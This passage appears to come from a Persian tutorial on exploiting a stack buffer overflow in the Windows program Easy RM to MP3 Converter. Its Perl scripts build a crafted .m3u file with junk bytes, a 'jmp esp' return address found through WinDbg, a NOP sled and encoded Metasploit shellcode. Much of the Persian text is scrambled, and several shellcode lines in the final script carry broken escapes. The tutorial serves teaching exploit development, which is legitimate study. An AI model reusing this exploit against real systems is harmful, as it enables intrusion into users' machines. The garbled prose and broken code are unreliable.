انجام  EIPدر  ”000ff730×0“که میتوانیم این کار را به واسطه بازنویسی  شل کدبه ا

 دهیم
  

 25سپس  ”000ff730“با  EIPسپس بازنویسی  Aیابت کاراکـتر  26058بیایید یک تست کوچک انجام دهیم: ابتدا 
  .NOPو دوباره مقداری  break، سپس NOPبایت 

  ها است. NOPپرش کند که حاوی  "000ff730"باید به  EIPاگر همه چیز طبق برنامه اجرا شود 

  
  

  .access violationرا داشتیم به جای  breakبرنامه خراب شد، اما ما انتظار یک 
رونوشت می  ESPاست دارد. اما هنگامی که که از  ESPکه  "000ff730"یم اشاره به نگاه می کن EIPهنگامی که ما به 

  گیریم چیزی که انتظارش را داریم نمی بینیم.
  

my $file= "crash25000.m3u "; 

my $junk= "A" x 26058; 

my $eip = pack('V',0x000ff730); 

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc"; 

$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file"); 

print $FILE $junk.$eip.$shellcode; 

close($FILE); 

print "m3u File Created successfully\n"; 
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حاوی بایت پوچ است که در واقع  "000ff730"(خب پس نتیجه اینکه پرش مستقیم به حافظه راه حل خوبی نیست. 
هرگز قابل رسیدن  EIPهایــی از قسمت اول بافر هستند بعد از باز نویسی  A بنابراین رشته را به پایان می رساند. یک 

درس حافظه به منظور پرش به اکسپلویت روشی نا مطمئن نیستند. 
ٓ
است ضمن اینکه گذشته از این استفاده از یک ا

درس حافظه می تواند در ویرایش های دیگر سیستم عامل مثل 
ٓ
  غییر خواهد کرد.)یا زبان ها و ... ت Service packاین ا

  
بازنویسی کنیم و این ایده جالبی  "000ff730"مثل مستقیم با استفاده از حافظه را  EIPما نمیتوانیم خiصه ماجرا: 

تصور کنید که باید قادر به ارجاع یک ثبات به نیست. باید از تکنیک دیگری برای انجام این هدف استفاده کنیم: 
درس  EIPو سپس است و تابعی را بیابیم که به این ثبات پرش می کند  ESPکدمان باشیم که در این مورد 

ٓ
را برای این ا

  بازنویسی کنیم. در این صورت قادر به اجرای کد خواهیم بود.
  

استفاده  dllبرنامه های ویندوز از یک یا چند از موارد معمول در برنامه های ویندوز است. در حقیقت  ESPپرش به 
درس های استفاده شده در این از این گذشته حاوی دستورالعمل های متعددی هستند  ها dllمیکنند و این 

ٓ
تا ها  dllا

است و در صورتی که قادر به  ESPبه ای که حاوی دستورالعمل پرش  dllحدودی ثابت هستند بنابراین با یافتن 
درس این دستوالعمل در فایل  EIPبازنویسی 

ٓ
  است. باشیم این شیوه قابل انجام  dllبه ا

  
مزیت این کار در این است اتصال دهید.  Windbgبرنامه را به را اجرا کنید و  Windbgو  Easy RM to MP3برنامه 

را  F6برای این کار بعد از اجرای هر دو برنامه کلید ها و ماژول های بارگزاری شده در برنامه را می بینیم.  dllما تمام که 
  :را بفشارید OKرا انتخاب و  RM To MP3می شود پروسه  بفشارید و از پنجره ای که نمایان
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  )BREAKبرنامه به وقفه می رود (به محض پیوست کردن پروسه به دیباگر 
  که در قسمت پایین برنامه قرار دارد: Windbgبرنامه  Command Lineدر قسمت 

  

  
  

را  Enterرا وارد کرده و  jmp espشارید. حا� را بف Enter) است را وارد کنید و assembleکه نشانگر دستور ( aحال 
  بفشارید:
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) است را بفشارید. برای شما هم چیزی مانند شکل unassembleدستور (که نشانگر  uرا بفشارید و حا�  Enterدوباره 

  زیر نمایش داده خواهد شد:
  

  
  
  

  یکنید.است را مشاهده م jmp espدستور  opcodeکه  ffe4شما  7c90120eبعد از 
   های بارگزاری شده هستیم. dllدر یکی از  opcodeحال ما نیازمند یافتن این 
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هایــی که به  dllها دارد تمام  dllو نگاه کردن به خط هایــی که اشاره به  Windbgبا اسکرول کردن به با�ی پنجره 
Easy RM to MP3 :تعلق دارد مشاهده کنید  
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سرتاسر که در شانس خوبی برای ساختن اکسپلویتی قابل اعتماد ها بیابیم  dllرا در یکی از  opcodeاگر بتوانیم این 
ای باشیم که متعلق به سیستم عامل باشد ممکن است  dllاگر نیازمند استفاده از  ویندوز کار میکند داریم.پلتفرم های 

 کارکرد نداشته باشد.ک و زبان ویندوز) اکسپلویت در تمام نسخه های سیستم عامل (در صورت تغییر سرویس پ
  جستجو می کنیم. Easy RM to MP3های  dllبنابراین ابتدا در محدوده 
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درس  dll محدودهابتدا در 
ٓ
 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dllای به ا

عمل در این ناحیه به شکل  ff e4تجوی جس برایبار گزاری شده  020cd000و  01c00000بین  dllنگاه میکنیم این 
  میکنیم:

  

  
  

درس )از متداول ترین دستورات است jmp ESPبسیار عالی. (چیزی غیر از این انتظار نمیرفت... 
ٓ
. هنگام انتخاب ا

  جستجو برای یافتن بایت های پوچ از عوال مهم به شمار می رود.
درس هایــی که از بایت های 

ٓ
اگر نیاز به استفاده  چ استفاده میکنند اجتناب کنید (به خصوصپو شما باید از استفاده از ا

رشته را به اتمام میرسانند الباقی داده های بافر غیر قابل چرا که بایت های پوچ  دارید EIPاز بافر داده بعد از بازنویسی 
   .)استفاده می شود

  
 نتیجه را از ” s 70000000 l fffffff ff e4“ها  opcodeدیگر محدوده خوب برای جستجوی 

ً
های  dllاست که غالبا

  ویندوز می دهند.
  

  ها وجود دارد: opcodeنکـته: راه های دیگری برای یافتن 
  

 که به شکل زیر قابل استفاده است: که به این مقاله پیوست شده findjmpاستفاده از برنامه  •

C:\Tools>findjmp.exe kernel32.dll esp 

 

Findjmp, Eeye, I2S-LaB 

Findjmp2, Hat-Squad 

Scanning kernel32.dll for code useable with the esp register 

0x7C8369D8      call esp 

0x7C872E1B      call esp 

Finished Scanning kernel32.dll for code useable with the esp register 
Found 2 usable addresses 
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 metasploit opcode databaseاستفاده از  •

ن اشاره خواهد شد) memdumpمتود  •
ٓ
موزش های بعدی به ا

ٓ
 (در ا

 و .... •
درس هایــی که   jmp espدر برخی موارد 

ٓ
-littleعلت این است که  می شوند مشکلی ندارد و شروعشروعشروعشروع بایت های پوچ بابه ا

endian  خبودن
ٓ
قرار بگیرند. و همچنین اگر شما هیچ  EIPثبات رین بایت در باعث میشود بایت های پوچ به عنوان ا

payload  بعد از بازنویسی ایEIP  پیش از بازنویسی  شل کد(نداشته باشیدEIP  و هنوز قابل دسترس برای تغذیه شده
  این روش قابل اعمال است. )ثبات است

  
درس نباید حاوی بایت های پوچ باشد.بناب استفاده می کنیمEIP بعد از بازنویسی  payloadما از بهرحال، 

ٓ
  راین ا

درسی که پیدا کردیم 
ٓ
درس حاوی  "01dbf23a"اولین ا

ٓ
یا ا

ٓ
است (پس استورالعمل  jmp espاست حال بررسی کنیم که ا

درس 
ٓ
  میکنیم): unassembleرا  "01dbf23a"ا

  
  

درس مذکور بازنویسی کنیم  EIPحال اگر 
ٓ
پس حا� باید  .ما خواهد بود شل کدحاوی  ESPو اجرا  jmp espرا با ا

  درست داشته باشیم.اکسپلویتی 
 
 
 
 
 
  

my $file= "crash25000.m3u  " ; 

my $junk= "A" x 26058; 

my $eip = pack('V',0x01dbf23a); 

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode . "\xcc"; # شل کد و اجازه ادامه دیباگ می شوده سازی این حرکت باعث ایجاد وقفه، شبي  
$shellcode = $shellcode . "\x90" x 25; 

open($FILE,">$file"); 

print $FILE $junk.$eip.$shellcode; 

close($FILE); 
print "m3u File Created successfully\n"; 
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  فایل جدید را در برنامه بارگزاری کنید:
  

  
  

درس 
ٓ
از  ESP( بخوبی کار کرد jmp espپس ما است متوقف می شود. breakکه محل  "000ffd38"برنامه در ا
000ffd38  000شروع می شود اما تاffd68  حاویNOP (است  

  
  حقیقی خود را در فایل قرار داده و اکسپلویت را به پایان برسانیم. شل کدکه نیاز داریم این است که  تمام چیزی 
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وردن شل کد و به پایان رساندن اکسپلویت
ٓ
وردن شل کد و به پایان رساندن اکسپلویتبدست ا
ٓ
وردن شل کد و به پایان رساندن اکسپلویتبدست ا
ٓ
وردن شل کد و به پایان رساندن اکسپلویتبدست ا
ٓ
        بدست ا

        
Metasploit  یک تولید کنندهpayload .جالب دارد که به شما در ایجاد شل کد کمک خواهد کرد Payload  ها

اگر میتوانند کوچک یا بزرگ باشند. (بستگی به این دارد که چه کاری را میخواهیم انجام دهیم) ارات گوناگونی اختی
ــی   نگاهی  multi-stagedهای  شل کدشما برحسب فضای بافر مشکل محدودیت سایز دارید، حتی میتوانید به توانای

 از شل کد های 
ً
بایت  32حاوی  cmd.exe(شل کد  استفاده کنید این شل کدمانند  handcraftedبیاندازید یا خصوصا
" استفاده از تکـتیکی بنام و  های کوچکـتر gs""egتقسیم کردن شل کد در . چاره دیگر )XP sp2 enو قابل استفاده در 

egg-hunting" ) برای دوباره سوار کردنreassembleکرد شل کد پیش از اجرا کردن است (.  
  

  اکسپلویت ما اجرا شود، شل کد چیزی مثل زیر است: payloadما میخواهیم ماشین حساب ویندوز به عنوان 

  
  

# windows/exec - 144 bytes 

# http://www.metasploit.com 

# Encoder: x86/shikata_ga_nai 

# EXITFUNC=seh, CMD=calc 

my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . 

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . 

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . 

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . 

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . 

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . 

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . 

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . 

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . 

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . 

"\x7f\xe8\x7b\xca"; 
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  میرسانیم:اسکریپت پرل را به شکل زیر به اتمام 
  

  
. فایل جدید را رجیستری را جلوگیری از صدا زدن دیباگر در هنگان مشکل غیر فعال کنید autopopupابتدا قابلیت 

و مشاهده کنید که برنامه خراب می شود (و ماشین حساب ویندوز به خوبی اجرا میشود). ما ایجاد و در برنامه بارگزاری 
  اولین اکسپلویت خودمان را نوشتیم:

  

 
  

my $file= "crash25000.m3u  " ; 

my $junk= "A" x 26058; 

my $eip = pack('V',0x01dbf23a); 

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" . 

"\ x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" . 

"\ x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" . 

"\ x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" . 

"\ x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" . 

"\ xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" . 

"\ xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" . 

"\ x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" . 

"\ xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" . 

"\ xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" . 

"\ x7f\xe8\x7b\xca"; 

open($FILE,">$file"); 

print $FILE $junk.$eip.$shellcode; 

close($FILE); 

print "m3u File Created successfully\n"; 


